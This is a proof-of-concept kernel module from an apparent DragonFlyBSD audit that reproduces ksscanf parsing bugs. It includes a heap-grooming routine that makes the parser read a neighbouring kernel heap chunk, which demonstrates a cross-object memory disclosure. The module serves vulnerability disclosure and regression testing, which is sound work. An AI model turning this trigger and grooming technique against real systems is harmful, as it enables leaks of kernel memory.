DragonFlyBSD Kernel Audit
DF-2884 / poc_dfscanf.c
← back to finding ↓ download raw
/*
 * DF-2882 / DF-2883 / DF-2884 PoC — engine-internal defects in
 * sys/kern/subr_scanf.c (kvsscanf), demonstrated in-kernel with the
 * kernel's OWN ksscanf()/kmalloc()/kfree().
 *
 * DF-2882 (E1/E2/E3, leak class):
 *   CT_CHAR suppress short-input branch (subr_scanf.c:292-298) does
 *   `inp += n` with n = inr but never sets inr = 0.  After `%*Nc` with
 *   N > remaining input, the engine believes `inr` chars are still
 *   unread while `inp` sits on the NUL terminator.  Every subsequent
 *   conversion then reads past the end of the input string:
 *     E1  stack string + canary after the NUL -> %s copies the canary
 *     E2  exact-size kmalloc'd string -> %s copies bytes from the NEXT
 *         heap chunk (cross-object kernel heap disclosure, groomed so
 *         the neighbor is a live 'Q'-filled chunk)
 *     E3  same via %16c (bcopy of 16 bytes starting at the NUL)
 *     E6  negative control: N == strlen -> clean input failure
 *
 * DF-2883 (E4, correctness):
 *   `%i` on input ending exactly in "0x": the x-pushback
 *   (subr_scanf.c:505-510) does inp--/inr++ although the accept path
 *   (subr_scanf.c:487-490) did NOT advance inp when --inr hit 0.  inp
 *   ends up one byte stale and the next conversion re-reads the
 *   already-consumed '0' (libc hands back 'x').
 *
 * DF-2884 (E5, robustness):
 *   Unknown conversion specifier (%f) silently matches no case in the
 *   conversion switch (subr_scanf.c:148ff has no default), consumes
 *   leading whitespace but NO varargument, desynchronizing all later
 *   conversions (%d then writes through the argument meant for %f).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/libkern.h>

static void
hexdump32(const char *tag, const unsigned char *b, int n)
{
	int i;

	kprintf("dfpoc:   %s", tag);
	for (i = 0; i < n; i++)
		kprintf("%02x ", b[i]);
	kprintf("\n");
}

/* ---------------- DF-2882 experiments ---------------- */

static void
e1_stack_walk(void)
{
	char sbuf[40];		/* "AAAAAAAA\0CANARY!\0..." */
	char out[24];
	int r;

	memset(sbuf, 0, sizeof(sbuf));
	memset(out, 0xee, sizeof(out));
	memcpy(sbuf, "AAAAAAAA", 8);		/* strlen 8, NUL at sbuf[8] */
	memcpy(sbuf + 9, "CANARY!", 7);		/* bytes past the terminator */

	r = ksscanf(sbuf, "%*16c%s", out);
	kprintf("dfpoc: E1 %%*16c%%s on 8-char string: ret=%d "
	    "(libc: 0, input failure)\n", r);
	hexdump32("out:", (const unsigned char *)out, 12);
	if (r == 1 && out[0] == 0 && out[1] == 'C' && out[6] == 'Y')
		kprintf("dfpoc: E1 RESULT: walked past the NUL, copied "
		    "CANARY bytes -> REPRODUCED\n");
	else if (r == 0)
		kprintf("dfpoc: E1 RESULT: clean input failure (fixed?)\n");
	else
		kprintf("dfpoc: E1 RESULT: unexpected\n");
}

static void
e2_heap_walk(const char *tag, const char *fmt)
{
	void *v[200];
	char *in;
	char out[40];
	int i, r;

	/*
	 * Groom (DF-2862-proven technique): allocate a run of 32-byte
	 * chunks filled with 'Q', free the even-indexed ones in ascending
	 * order; the next kmalloc(32) returns the most-recently-freed
	 * chunk (LIFO), whose physical successor is a live 'Q'-filled
	 * chunk.  Chunks in a slab are packed back-to-back.
	 */
	for (i = 0; i < 200; i++) {
		v[i] = kmalloc(32, M_TEMP, M_WAITOK);
		memset(v[i], 'Q', 32);
	}
	for (i = 0; i < 200; i += 2)
		kfree(v[i], M_TEMP);

	in = kmalloc(32, M_TEMP, M_WAITOK);	/* takes v[198]'s chunk */
	memset(in, 0, 32);
	memset(in, 'A', 31);			/* 31 A's + NUL at in[31] */
	memset(out, 0xee, sizeof(out));

	r = ksscanf(in, fmt, out);
	kprintf("dfpoc: %s in=%p (freed v[198]=%p live v[199]=%p "
	    "delta199=%ld) ret=%d\n", tag, in, v[198], v[199],
	    (long)((char *)v[199] - (char *)in), r);
	hexdump32("out:", (const unsigned char *)out, 16);
	if (r == 1 && out[0] == 0 && out[1] == 'Q')
		kprintf("dfpoc: %s RESULT: bytes copied from BEYOND the "
		    "32-byte allocation ('Q' from the live neighbor chunk) "
		    "-> CROSS-OBJECT HEAP DISCLOSURE REPRODUCED\n", tag);
	else if (r == 0)
		kprintf("dfpoc: %s RESULT: clean input failure (fixed?)\n",
		    tag);
	else
		kprintf("dfpoc: %s RESULT: unexpected\n", tag);

	kfree(in, M_TEMP);
	for (i = 1; i < 200; i += 2)
		kfree(v[i], M_TEMP);
}

static void
e6_boundary(void)
{
	char sbuf[40];
	char out[24];
	int r;

	memset(sbuf, 0, sizeof(sbuf));
	memset(out, 0xee, sizeof(out));
	memcpy(sbuf, "AAAAAAAA", 8);

	r = ksscanf(sbuf, "%*8c%s", out);	/* N == strlen: clean */
	kprintf("dfpoc: E6 %%*8c%%s (N == len) negative control: ret=%d\n",
	    r);
	hexdump32("out:", (const unsigned char *)out, 4);
}

/* ---------------- DF-2883 experiment ---------------- */

static void
e4_pushback(void)
{
	int v = -1, n = -1;
	char ch = '?';
	int r;

	r = ksscanf("0x", "%i%c%n", &v, &ch, &n);
	kprintf("dfpoc: E4 '0x' %%i%%c%%n: ret=%d v=%d ch='%c' nread=%d "
	    "(libc: ch='x')\n", r, v, ch, n);
	if (ch == '0')
		kprintf("dfpoc: E4 RESULT: %%c re-read the consumed '0' "
		    "(stale inp) -> DIVERGENCE REPRODUCED\n");
	else if (ch == 'x')
		kprintf("dfpoc: E4 RESULT: pushback correct (fixed?)\n");
}

/* ---------------- DF-2884 experiment ---------------- */

static int
scanf_shim(const char *str, const char *fmt, ...)
{
	__va_list ap;
	int r;

	__va_start(ap, fmt);
	r = kvsscanf(str, fmt, ap);
	__va_end(ap);
	return (r);
}

static void
e5_desync(void)
{
	/*
	 * cc's __scanflike(2,3) on ksscanf rejects "%f" outright (it is
	 * not a supported kernel conversion) -- drive kvsscanf through a
	 * shim without the format annotation, exposing what the engine
	 * itself does with an unsupported specifier.
	 */
	int a = -1, b = -1;
	int r;

	r = scanf_shim("5", "%f%d", &a, &b);
	kprintf("dfpoc: E5 '5' %%f%%d: ret=%d a=%d b=%d "
	    "(%%f consumed no argument; %%d wrote through &a)\n", r, a, b);
	if (r == 1 && a == 5 && b == -1)
		kprintf("dfpoc: E5 RESULT: varargument list desynchronized "
		    "-> REPRODUCED\n");
}

static int
dfpoc_modevent(module_t mod __unused, int type, void *data __unused)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("dfpoc: ksscanf engine PoC (stock kernel)\n");
		e1_stack_walk();
		e2_heap_walk("E2", "%*32c%s");
		e2_heap_walk("E3", "%*32c%16c");
		e6_boundary();
		e4_pushback();
		e5_desync();
		kprintf("dfpoc: done\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t dfpoc_mod = {
	"dfpoc",
	dfpoc_modevent,
	NULL
};

DECLARE_MODULE(dfpoc, dfpoc_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(dfpoc, 1);